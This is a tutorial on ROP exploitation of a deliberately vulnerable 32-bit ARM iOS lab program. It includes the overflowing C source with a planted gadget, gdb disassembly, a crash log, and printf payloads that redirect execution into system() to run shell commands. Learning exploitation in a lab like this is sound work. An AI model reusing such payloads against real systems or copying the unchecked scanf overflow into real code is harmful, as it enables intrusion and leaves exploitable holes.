0x04 ROP gadgets
Gagdets
ROP gadget is a small sequence of assembly instructions that end in a return instruction. Gadgets are used in order to set up various registers with certain values that will be later required.
In this tutorial we’ll practice some more of finding gadgets and chaining functions. So let’s create a new file, compile and sign as usual. This program will also be vulnerable to buffer overflow so we can crash it and analyse.
0x04.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
char str1[] = "uname -a";
char str2[] = "touch pwned";
char str3[] = "ls -sail";
void doSystem(){
printf("You entered system function..\n");
system("# this does nothing yet..");
exit(0);
}
void gadget(){
__asm__("pop {r0,pc}\n");
}
int main(){
char buff[16];
printf("0x04 ROP gadgets\n");
printf("Execute shell command by using a ROP gadget followed by jumping to system()\n");
printf("enter some data: ");
scanf("%s",buff);
printf("No shell command yet, try again ;)\n");
return 0;
}
Compile and sign:
$ clang 0x04.c -fno-stack-protector -fno-pie -arch armv7 -mios-version-min=6 -mno-thumb -isysroot /var/root/theos/sdks/iPhoneOS10.3.sdk/ -o 0x04
$ ldid -S 0x04
Try it as it works normally.
./0x04
0x04 ROP gadgets
Execute shell command by using a ROP gadget followed by jumping to system()
enter some data: 123
No shell command yet, try again ;)
Then we proceed to disassembling with gdb
😉 We get info about program functions
and variables
.
$ gdb 0x04
(gdb) info functions
All defined functions:
Non-debugging symbols:
...
0x0000bdf8 doSystem
0x0000be34 gadget
0x0000be3c main
0x0000bec8 stub helpers
0x0000bff0 dyld_stub_exit
0x0000bff4 dyld_stub_printf
0x0000bff8 dyld_stub_scanf
0x0000bffc dyld_stub_system
(gdb) info variables
All defined variables:
Non-debugging symbols:
...
0x0000c018 str1
0x0000c021 str2
0x0000c02d str3
# print /s str1
(gdb) disass main
Dump of assembler code for function main:
0x0000be3c <main+0>: 80 40 2d e9 push {r7, lr}
0x0000be40 <main+4>: 0d 70 a0 e1 mov r7, sp
0x0000be44 <main+8>: 28 d0 4d e2 sub sp, sp, #40 ; 0x28
0x0000be48 <main+12>: 55 0f 0b e3 movw r0, #48981 ; 0xbf55
0x0000be4c <main+16>: 00 00 40 e3 movt r0, #0 ; 0x0
0x0000be50 <main+20>: 00 10 00 e3 movw r1, #0 ; 0x0
0x0000be54 <main+24>: 04 10 07 e5 str r1, [r7, #-4]
0x0000be58 <main+28>: 65 00 00 eb bl 0xbff4
0x0000be5c <main+32>: 67 1f 0b e3 movw r1, #48999 ; 0xbf67
0x0000be60 <main+36>: 00 10 40 e3 movt r1, #0 ; 0x0
0x0000be64 <main+40>: 10 00 8d e5 str r0, [sp, #16]
0x0000be68 <main+44>: 01 00 a0 e1 mov r0, r1
0x0000be6c <main+48>: 60 00 00 eb bl 0xbff4
0x0000be70 <main+52>: b4 1f 0b e3 movw r1, #49076 ; 0xbfb4
0x0000be74 <main+56>: 00 10 40 e3 movt r1, #0 ; 0x0
0x0000be78 <main+60>: 0c 00 8d e5 str r0, [sp, #12]
0x0000be7c <main+64>: 01 00 a0 e1 mov r0, r1
0x0000be80 <main+68>: 5b 00 00 eb bl 0xbff4
0x0000be84 <main+72>: c6 1f 0b e3 movw r1, #49094 ; 0xbfc6
0x0000be88 <main+76>: 00 10 40 e3 movt r1, #0 ; 0x0
0x0000be8c <main+80>: 14 20 8d e2 add r2, sp, #20 ; 0x14
0x0000be90 <main+84>: 08 00 8d e5 str r0, [sp, #8]
0x0000be94 <main+88>: 01 00 a0 e1 mov r0, r1
0x0000be98 <main+92>: 02 10 a0 e1 mov r1, r2
0x0000be9c <main+96>: 55 00 00 eb bl 0xbff8
0x0000bea0 <main+100>: c9 1f 0b e3 movw r1, #49097 ; 0xbfc9
0x0000bea4 <main+104>: 00 10 40 e3 movt r1, #0 ; 0x0
0x0000bea8 <main+108>: 04 00 8d e5 str r0, [sp, #4]
0x0000beac <main+112>: 01 00 a0 e1 mov r0, r1
0x0000beb0 <main+116>: 4f 00 00 eb bl 0xbff4
0x0000beb4 <main+120>: 00 10 00 e3 movw r1, #0 ; 0x0
0x0000beb8 <main+124>: 00 00 8d e5 str r0, [sp]
0x0000bebc <main+128>: 01 00 a0 e1 mov r0, r1
0x0000bec0 <main+132>: 07 d0 a0 e1 mov sp, r7
0x0000bec4 <main+136>: 80 80 bd e8 pop {r7, pc}
End of assembler dump.
(gdb) disass gadget
Dump of assembler code for function gadget:
0x0000be34 <gadget+0>: 01 80 bd e8 pop {r0, pc}
0x0000be38 <gadget+4>: 1e ff 2f e1 bx lr
End of assembler dump.
(gdb) disass doSystem
Dump of assembler code for function doSystem:
0x0000bdf8 <doSystem+0>: 80 40 2d e9 push {r7, lr}
0x0000bdfc <doSystem+4>: 0d 70 a0 e1 mov r7, sp
0x0000be00 <doSystem+8>: 08 d0 4d e2 sub sp, sp, #8 ; 0x8
0x0000be04 <doSystem+12>: 1c 0f 0b e3 movw r0, #48924 ; 0xbf1c
0x0000be08 <doSystem+16>: 00 00 40 e3 movt r0, #0 ; 0x0
0x0000be0c <doSystem+20>: 78 00 00 eb bl 0xbff4
0x0000be10 <doSystem+24>: 3b 1f 0b e3 movw r1, #48955 ; 0xbf3b
0x0000be14 <doSystem+28>: 00 10 40 e3 movt r1, #0 ; 0x0
0x0000be18 <doSystem+32>: 04 00 8d e5 str r0, [sp, #4]
0x0000be1c <doSystem+36>: 01 00 a0 e1 mov r0, r1
0x0000be20 <doSystem+40>: 75 00 00 eb bl 0xbffc
0x0000be24 <doSystem+44>: 00 10 00 e3 movw r1, #0 ; 0x0
0x0000be28 <doSystem+48>: 00 00 8d e5 str r0, [sp]
0x0000be2c <doSystem+52>: 01 00 a0 e1 mov r0, r1
0x0000be30 <doSystem+56>: 6e 00 00 eb bl 0xbff0
End of assembler dump.
When system()
function is called, it expects the address in memory of the string to be stored in R0, so we need to find a gadget that will allow us to control the value of R0 and then return.
Just for testing we have here function gadget()
which is, well, a gadget 😉 We can see that it is small assembly function (at address 0x0000be34
) that pops value from r0
to pc
. Exactly what we need, jumping to this gadget will allow us to control both r0
and pc
.
Ok, so let’s crash out app and check addresses in crashlog.
$ printf "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" | ./0x04
0x04 ROP gadgets
Execute shell command by using a ROP gadget followed by jumping to system()
enter some data: No shell command yet, try again ;)
Segmentation fault: 11
$ cat /var/mobile/Library/Logs/CrashReporter/0x04-2020-09-10-133550.ips
Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Subtype: KERN_INVALID_ADDRESS at 0x47474746
...
Thread 0 crashed with ARM Thread State (32-bit):
r0: 0x00000000 r1: 0x00000000 r2: 0x3af14f80 r3: 0x00000000
r4: 0x00000000 r5: 0x0000be3c r6: 0x00000000 r7: 0x46464646
r8: 0x001ddd58 r9: 0x00000000 r10: 0x00000000 r11: 0x00000000
ip: 0x00012068 sp: 0x001ddd40 lr: 0x0000beb4 pc: 0x47474746
cpsr: 0x40000030
pc
register contains value 0x47474746
after the crash which is the hex equivilant of GGGG
in our string.
Crafting the exploitation string step-by-step:
- take string offset:
AAAABBBBCCCCDDDDEEEEFFFF
- add the address (little endian) of our gadget:
\x34\xbe\x00\x00
- add the address of shell command string:
\x18\xc0\x00\x00
// <– this can be one of three strings we got - add the address of
system()
function:\xfc\xbf\x00\x00
$ printf "AAAABBBBCCCCDDDDEEEEFFFF\x34\xbe\x00\x00\x18\xc0\x00\x00\xfc\xbf\x00\x00" | ./0x04
0x04 ROP gadgets
Execute shell command by using a ROP gadget followed by jumping to system()
enter some data: No shell command yet, try again ;)
Darwin iPhone 16.7.0 Darwin Kernel Version 16.7.0: Wed Jul 26 11:08:56 PDT 2017; root:xnu-3789.70.16~21/MarijuanARM_S5L8950X iPhone5,2 arm N42AP Darwin
Bus error: 10
Test the two more functions. First one should produce a file named pwnd. The last one should list all the files and folders.
$ printf "AAAABBBBCCCCDDDDEEEEFFFF\x34\xbe\x00\x00\x21\xc0\x00\x00\xfc\xbf\x00\x00" | ./0x04
$ printf "AAAABBBBCCCCDDDDEEEEFFFF\x34\xbe\x00\x00\x2d\xc0\x00\x00\xfc\xbf\x00\x00" | ./0x04
Yeah 😎 we got our program call a system function of our choice, great work!